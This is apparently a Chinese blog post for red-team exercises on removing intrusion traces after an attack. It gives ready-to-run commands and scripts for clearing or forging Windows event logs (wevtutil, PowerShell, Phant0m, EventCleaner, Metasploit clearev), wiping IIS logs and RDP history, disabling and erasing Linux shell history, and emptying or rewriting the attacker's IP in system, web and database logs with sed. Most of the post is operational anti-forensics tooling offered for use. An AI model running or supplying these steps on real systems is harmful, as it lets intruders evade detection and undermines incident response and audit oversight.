• 入侵痕迹清理


    在攻击结束后,如何不留痕迹的清除日志和操作记录,以掩盖入侵踪迹,这其实是一个细致的技术活。在蓝队的溯源中,攻击者的攻击路径都将记录在日志中,所遗留的工具也会被蓝队进行分析,在工具中可以查找特征,红队自研工具更容易留下蛛丝马迹。你所做的每一个操作,都要被抹掉;你所上传的工具,都应该被安全地删掉,以防被溯源在演练中失分。

    Windows入侵痕迹清理

    Windows日志清除

    Windows日志路径:

    系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx
    安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx
    应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx
    
    日志在注册表的键:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog
    

    常见的安全事件ID:

    windows 日志清除方式:

    (1)最简单粗暴的方式

    开始→运行,输入 eventvwr 进入事件查看器,右边栏选择清除日志。

    或者使用wevtutil

    wevtutil el             列出系统中所有日志名称
    for /F "tokens=*" %a in ('wevtutil.exe el') DO wevtutil.exe cl "%a"  清除所有日志
    wevtutil cl system      清理系统日志
    wevtutil cl application 清理应用程序日志
    wevtutil cl security    清理安全日志
    

    (2)powershell一键清除Windows事件日志

    PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
    或
    Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}
    

    (3)利用脚本停止日志的记录

    通过该脚本遍历事件日志服务进程(专用svchost.exe)的线程堆栈,并标识事件日志线程以杀死事件日志服务线程。

    该脚本没有杀死进程,而是杀死了线程。因此,虽然事件日志服务似乎在系统中运行(因为没有终止进程),但它实际上并没有运行(因为终止了线程)并且系统不收集日志。

    项目地址:hlldz/Phant0m: Windows Event Log Killer (github.com)

    使用:

    执行phant0m之后,尝试远程登录该服务器,并不会记录日志

    (4)Windows单条日志清除

    项目地址:QAX-A-Team/EventCleaner: A tool mainly to erase specified records from Windows event logs, with additional functionalities. (github.com)

    该工具主要用于从Windows事件日志中删除指定的记录。同时也可以暂停日志线程,停止日志记录。

    使用步骤:

    1、EventCleaner closehandle   #解除 security.evtx的文件占坑
    2、EventCleaner 100           #删除 event record id 为 100 的日志
    3、EventCleaner suspend       #暂停日志线程,停止日志记录
    4、do anything without worrying about logs
    5、EventCleaner normal        #恢复日志线程
    6、delete EventCleaner        
    


    (5)Windows日志伪造

    使用eventcreate这个命令行工具来伪造日志或者使用自定义的大量垃圾信息覆盖现有日志。

    eventcreate -l system -so administrator -t warning -d "this is a test" -id 500
    

    IIS日志

    IIS默认日志路径:

    %SystemDrive%\inetpub\logs\LogFiles\W3SVC1\
    

    清除WWW日志:

    停止服务:net stop w3svc
    删除日志目录下所有文件:del *.*
    启用服务:net start w3svc
    

    利用Windows自带命令进行安全擦除

    (1)Shift+Delete快捷键永久删除

    直接删除文件,还是能在回收站找到的,使用Shift+Delete快捷键可以直接永久删除了。

    可以用数据恢复软件,删除的文件尽快恢复,否则新的文件存入覆盖了原来的文件痕迹就很难恢复了。

    (2)Cipher 命令多次覆写

    在删除文件后,可以利用Cipher 命令通过 /W 参数可反复写入其他数据覆盖已删除文件的硬盘空间,彻底删除数据防止被恢复。

    比如,删除D:\tools目录下的文件,然后执行这条命令:

    cipher /w:D:\tools
    

    这样一来,D 盘上未使用空间就会被覆盖三次:一次 0x00、一次 0xFF,一次随机数,所有被删除的文件就都不可能被恢复了。

    (3)Format命令覆盖格式化

    Format 命令加上 /P 参数后,就会把每个扇区先清零,再用随机数覆盖。而且可以覆盖多次。比如:

    format D: /P:8
    

    这条命令表示把 D 盘用随机数覆盖 8 次。

    清除远程桌面连接记录

    当通过本机远程连接其他客户端或服务器后,会在本机存留远程桌面连接记录。代码保存为clear.bat文件,双击运行即可自动化清除远程桌面连接记录。

    @echo off
    reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
    reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
    cd %userprofile%\documents\
    attrib Default.rdp -s -h
    del Default.rdp
    

    Metasploit 痕迹清除

    (1)查看事件日志

    meterpreter > run event_manager  -i   
    [*] Retriving Event Log Configuration
    Event Logs on System
    ====================
     Name                    Retention  Maximum Size  Records
     ----                    ---------  ------------  -------
     Application             Disabled   20971520K     2149
     HardwareEvents          Disabled   20971520K     0
     Internet Explorer       Disabled   K             0
     Key Management Service  Disabled   20971520K     0
     Security                Disabled   20971520K     1726
     System                  Disabled   20971520K     3555
     Windows PowerShell      Disabled   15728640K     138
    

    (2)清除事件日志(包括六种日志类型)

    meterpreter > run event_manager  -c
    

    (3)另外,也可以输入clearv命令清除目标系统的事件日志(仅包含三种日志类型)

    meterpreter > clearev 
    [*] Wiping 4 records from Application...
    [*] Wiping 8 records from System...
    [*] Wiping 7 records from Security...
    

    清除recent

    在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮
    或直接打开C:\Users\Administrator\Recent并删除所有内容
    或在命令行中输入del /f /s /q “%userprofile%\Recent*.*
    

    Linux入侵痕迹清理

    #管理员 $普通用户 / 表示 根目录 ~表示当前用户家目录

    清除history历史命令记录

    查看历史操作命令:

    history
    

    history显示内存和~/.bash_history中的所有内容
    内存中的内容并没有立刻写入~/.bash_history,只有当当前shell关闭时才会将内存内容写入shell

    (1)编辑history记录文件,删除部分不想被保存的历史命令。

    vim ~/.bash_history
    

    (2)清除当前用户的history命令记录⭐

    history -c  # 删除内存中的所有命令历史
    history -r  # 删除当前会话历史记录
    

    (3)利用vim特性删除历史命令

    #使用vim打开一个文件vi test.txt# 设置vim不记录命令,Vim会将命令历史记录,保存在viminfo文件中。:set history=0# 用vim的分屏功能打开命令记录文件.bash_history,编辑文件删除历史操作命令:vsp ~/.bash_history# 清楚保存.bash_history文件即可。
    

    (4)在vim中执行自己不想让别人看到的命令

    :set history=0
    :!command
    

    ⭐不记录history历史命令

    (1)通过修改配置文件/etc/profile,使系统不再保存命令记录。

    HISTSIZE=0
    

    (2)登录后执行下面命令,不记录历史命令(.bash_history)

    unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
    

    清除系统日志痕迹

    Linux 系统存在多种日志文件,来记录系统运行过程中产生的日志。

    /var/run/utmp 记录现在登入的用户,使用w,who,users等命令查看
    /var/log/wtmp 记录用户所有的登入和登出,使用last命令查看
    /var/log/lastlog 记录每一个用户最后登入时间,使用lastlog命令查看
    /var/log/btmp 记录所有登录失败信息,使用lastb命令查看
    /var/log/auth.log 需要身份确认的操作
    /var/log/secure 记录安全相关的日志信息
    /var/log/maillog 记录邮件相关的日志信息
    /var/log/message 记录系统启动后的信息和错误日志
    /var/log/cron 记录定时任务相关的日志信息
    /var/log/spooler 记录UUCP和news设备相关的日志信息
    /var/log/boot.log 记录守护进程启动和停止相关的日志消息
    

    (1)清空日志文件

    以下几种方式:

    cat /dev/null > filename
    echo "" > filename
    echo > filename
    : > filename
    > filename
    

    ⭐(2)替换/删除部分日志

    日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。

    替换:

    # 192.168.100.101为攻击者IP,10.0.0.55为伪造IP,-i编辑文件
    sed 's/192.168.100.101/10.0.0.55/g' -i /var/log/btmp*
    sed 's/192.168.100.101/10.0.0.55/g' -i /var/log/lastlog
    sed 's/192.168.100.101/10.0.0.55/g' -i /var/log/wtmp
    sed 's/192.168.100.101/10.0.0.55/g' -i secure
    sed 's/192.168.100.101/10.0.0.55/g' -i /var/log/utmp
    

    删除:

    # 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip
    sed  -i '/自己的ip/'d  /var/log/messages
    sed  -i '/当天日期/'d  filename
    

    一键清除history和系统日志脚本

    #!/usr/bin/bash
    echo > /var/log/syslog
    echo > /var/log/messages
    echo > /var/log/httpd/access_log
    echo > /var/log/httpd/error_log
    echo > /var/log/xferlog
    echo > /var/log/secure
    echo > /var/log/auth.log
    echo > /var/log/user.log
    echo > /var/log/wtmp
    echo > /var/log/lastlog
    echo > /var/log/btmp
    echo > /var/run/utmp
    rm ~/./bash_history
    history -c
    

    清除web日志痕迹

    web日志同样可以使用sed进行伪造,例如apache日志、MySQL日志、php日志

    sed 's/192.168.100.101/10.0.0.55/g' –i /var/log/apache/access.log
    sed 's/192.168.100.101/10.0.0.55/g' –i /var/log/apache/error_log
    
    sed 's/192.168.100.101/10.0.0.55/g' –i /var/log/mysql/mysql_error.log
    sed 's/192.168.100.101/10.0.0.55/g' –i /var/log/mysql/mysql_slow.log
    
    sed 's/192.168.100.101/192.168.1.4/g' –i /var/log/apache/php_error.log
    

    清除部分相关日志:

    # 使用grep -v来把我们的相关信息删除
    cat /var/log/nginx/access.log | grep -v evil.php > tmp.log
    # 把修改过的日志覆盖到原日志文件
    cat tmp.log > /var/log/nginx/access.log/
    

    参考

    https://cloud.tencent.com/developer/article/1698537

    https://www.freebuf.com/articles/system/266458.html

    https://www.cnblogs.com/xiaozi/p/13648156.html

  • 相关阅读:
    centos7 yum安装配置Lnmp和负载配置
    Linux搭建lamp(Apache+PHP+Mysql环境)centos7.2版详细教程
    php的移位符运算
    Mysql的注入与防御
    介绍10个非常有用的PHP函数
    PHP性能的分析
    Netty 4源码解析:服务端启动
    centOS6.6升级gcc4.8
    kafka 0.8.x producer Example(scala)
    spark standalone zookeeper HA部署方式
  • 原文地址:https://www.cnblogs.com/yokan/p/15701536.html
Copyright © 2020-2023  润新知